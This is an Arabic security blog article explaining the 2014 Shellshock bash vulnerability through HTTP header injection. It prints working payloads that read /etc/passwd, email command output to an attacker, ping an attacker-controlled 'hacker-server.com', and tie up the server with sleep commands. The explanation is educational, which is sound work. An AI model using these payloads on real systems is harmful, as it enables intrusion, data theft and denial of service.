أمن وحماية السيرفراتالمقال المثبتمواضيع عامةمواضيع ومقالات

مقال : شرح موسع حول ثغرة Shellshock

تم أرشفة هذا المحتوى


السلام عليكم , في عام 2014 ظهرت ثغرة بعنوان Shellshock سيكون شرح اليوم مفصل لها للاغراض الاكاديمية .

 

Presentation1222

ما هي ثغرة Shellshock ؟  

ثغرة Shellshock هي عبارة عن خطأ برمجي في مُفسر الأوامر bash هو اختصار ل”Bourne-again shell” ومثال عن ثغرات ACE

(Arbitrary code execution) ، تحتاج ثغرات ACE  الى فهم متطور للغاية لكل من تنفيذ الاوامر والاجزاء الداخلية لعملية التنفيذ بالاضافة الى معرفة بتخطيط الذاكرة و لغة assembly مختصر الأمر .. تحتاج الى خبير في هذه المجالات !  ، المهاجم يستخدم ثغرة ACE لرفع او تنفيذ برنامج يعطيه طريقة سهلة للتحكم في الة الهدف  ، هذا غالباً يتحقق بتنفيذ ما يسمى “Shell” وال”Shell” هو عبارة عن سطر اوامر حيث تضع يمكن للاوامر ان تدخل وتنفذ.

ثغرة الShellshock في مشكلة بحد ذاتها لانها تمحي الاحتياج لاي مهارات ومعرفة خاصة , وتعطي طريقة سهلة (سهلة جداً) للاستيلاء والسطيرة على كمبيوتر اخر (كخادم ويب مثلاً) وجعله ينفذ الاكواد .

سبب سهولة ثغرة Shellshock

حين يتسلم خادم ويب او سيرفر طلب فانه مكون من ثلاث مقاطع يمكن ان تكون مصابة لثغرة Shellshock : الURL المطلوب , الhttp header او المعلومات المدخلة ما يسمى “arguments” (حين تكتب اسمك وايميلك وتعليق في isecur1ty سيتم ارسالها كarguments) وكنا قد شرحنا سابقاً إستخدام الـ HTTP HEADER في عملية اختبار الاختراق يمكنك ايجادها هنا ، الأن نقوم بعمل مثال بسيط لو استقبل سيرفر موقعنا طلب بسيط سيكون كالاتي :

 

 

 GET / X
Host: www.isecur1ty.org
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
If-Modified-Since: *X

 

 

في الطلب السابق يمكنك رؤية الHeader وما يحتويه من معلومات عن المتصحف او المستخدم مثلا / هو طلب للصفحة الرئيسية و

Accept-Encoding ..الخ  هذه المعلومات تقدم للسيرفر ليعرف نوع المتصفح وما هو اللغة المفضلة والموقع المراد طلبه ونوع حزمة الاتصال وليس من الشائع لهذه المعلومات ان يتم تحويلها لمتغيرات في داخل السيرفر ليقوم بدارستها.

فرضاً ستظهر للسيرفر الذي طلب به صفحة موقعنا بالشكل التالي :

 

 

HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
 HTTP_HOST= www.isecur1ty.org
HTTP_CACHE_CONTROL=no-cache
 HTTP_ACCEPT_ENCODING=gzip, deflate
 HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

 

 

في حالة بقاء هذه المتغيرات في برنامج السيرفر نفسه بدون الخروج لبرامج اخرى فان السيرفر غير مصاب بثغرة Shellshock .

Shellshock تحدث حين يتم تمرير هذه المتيغرات الى برنامج اخر يسمى “bash” وكما ذكرنا سابقا فهو مفسر ومنفذ الاوامر في انظمة Linux , في الكثير من الاحيان السيرفرات تحتاج الى تمرير هذه المتغيرات الى برامج اخرى ومن الشائع ان يتم تمرير هذه المتغيرات الى bash او shell اخر .

 

ثغرة Shellshock تحدث بالتحديد حين يقوم المهاجم بتعديل طلب HTTP الاصلي وجعله يحتوي على المتغير السحري الذي هو استغلال الثغرة
ويكون على شكل () { :; };

في الطلب يوجد نوع المتصفح فسوف يقوم المهاجم بتغيره من Mozilla/5.0 الى x() {:;}; /bin/cat /etc/passwd  وسيكون قادر على قراءة ملف passwd في النظام وعرضه في الصفحة المطلوبة . ! سوف يفوم السيرفر بقراءة الامر وتفيذه كالاتي

 

HTTP_USER_AGENT=() { :; }; /bin/cat /etc/passwd 

الخلل في برنامج bash سوف يقوم بقراءة الجزء الاول واهماله وبعدها تنفيذ الجزء الثاني  نعم بهذه السهولة فقط !

 

إستغلالات مُتقدمة 

الأن سنشرح ما يمكن عمله بصورة سهلة جداً وخطيرة ايضاً وسوف نبدأ ببعض السيناريوهات ، منها :

سحب وارسال المعلومات الى ايميل المهاجم 

يمكن للمهاجم البحث عن الثغرة واستخدام هذا الكود مثلاً

x() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' [email protected]

سوف يقوم السيرفر اذا كان يملك صلاحيات ROOT (صلاحيات مستخدم كاملة او ما يسمى superuser ) بتنفيذ الامر whoami

الذي لايجاد اسماء المستخدمين الموجودين على السيرفر وبعدها ارسال ايميل الى [email protected] بعنوان example.com 1

بعدها يقوم المهاجم بدخول ايميله للحصول على المعلومات نفس التكنيك يمكن استعماله لفك ضغط وارسال ملفات الباسوردات الى الايميل .

Slide1

هجوم الإستطلاع  

يعد من احد اهم الهجمات في عالم الهاك سنتطرق له في مقالات اخرى يسمى هجوم الاستطلاع او “reconnaissance” في هجوم reconnaissance المهاجم يوقم بارسال اوامر سوف تقوم لاحقاً بارسال رسالة الى الة طرف ثالث كسيرفر مثلاً . والة الطرف الثالث  تقوم بعمل لائحة للالات المصابة التي قامت بالاتصال بها .

في السابق , كان يتم عمل الالات وتحويلها الى شبكات بوت نت او لعمل سبام او اغراض اخرى.

واحد اشهر التكنيكات المستعملة في reconnaissance هو استخدام الامر  ping لجعل الالة المصابة تقوم بارسال حزمة واحدة (تسمى ping) الى خادم طرف ثالث الذي يكون خاص بالمهاجم الاستغلال يبدو مثل :

 

x() {:;}; ping -c 1 -p XYZ1234567891011 hacker-server.com

 

عادة الامر ping يستعمل لاختبار هل السيرفر “alive” او موجود على الشبكة . اذا كان السيرفر مصاب بثغرة Shellshock سوف يقوم بارسال حزمة واحدة الموضوع عددها في  (-c 1)  الى hacker-server.com مع البايلود الذي تم اضافته في (-p) . البايلود هو عبارة عن رقم او رمز فريد من نوعه يتم اضافته بواسطة المهاجم ليستطيع تعقب الحزمة التي تم استلامها من قبل السيرفر المصاب .

 

 

pentest

 

 

 

التحكم بالمكونات المادية للسيرفر 

من الامور التي يمكن ارسالها للسيرفر للتحقق من اذا ما كان السيرفر مصاب يمكن ارسال

 

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com

x هذا الامر يقوم بعمل طلب الى موقع example.com فاذا كان السيرفر مصاب سوف يقوم بفتح محرك الاقراص cd او dvd ! فاذا رايت محرك الاقراص مفتوح قد يكون الهكر جرب ال ثغرة ShellShock عليك 😛

هجوم حجم الخدمة محلياً 

بطلب بسيط مثل هذا

 

x() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

في الاستغلال اعلاه يحاول المهاجم بثلاث طرق تنفيذ الامر (sleep) لان امر  sleep قد يكون في احد المسارات bin أو sbin او usr/bin  . الامر يقوم بعمل ايقاف للسيرفر عن تنفيذ التعليمات لمدة 20 ثانية . اذا تم تاخر السيرفر فالسيرفر مصاب قد يقوم المهاجم بتاخير المدة وزيادة عدد هذه الطلبات لذلك سيكون السيرفر عاجز عن التعامل مع طلبات اخرى وبهذا يسبب DoS  .

كلمة أخيرة 

يوجد هناك انواع اخرى اكثر خطورة يمكنك الاطلاع عليها لاحقاً .

 

مصادر وروابط مفيدة 

مع تحياتي وتحيات فريق iSecur1ty ، لأي اسفتسار اترك تعليقاً أو تواصل معي عبر تويتر

عبدالله حسام

مبرمج ومختبر اختراق من العراق مهتم بأمن المعلومات والثغرات البرمجية للتواصل معي عبر تويتر https://twitter.com/Abdulahhusam

مقالات ذات صلة

‫7 تعليقات

  1. الشرح رائع الله يعينك ويقويك ارجوك انا اريد نظام كالي لينكس ولكن الاتصال عندي بطيء فلو امكن رفع النظام مضغوط علي اي موقع رفع وارسال الرابط
    ارجو الرد والاهتمام واسف علي الازعاج

  2. السلام عليكم … انا نزلت هدا البرنامج في هاتف 816 htc … اصبح الهاتف يقوم بإعادة التشغيل من نلقاء نفسه ولا استطيع حدفه او حتى عمل سفتوير لان كل المعلومات ترجع بعد السفتوير للهاتف من جدبد عجز في حل هده المشكلة اكبر خبرا الهواتف لدينا ارجو المساعدة وجازاك الله خيرا

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى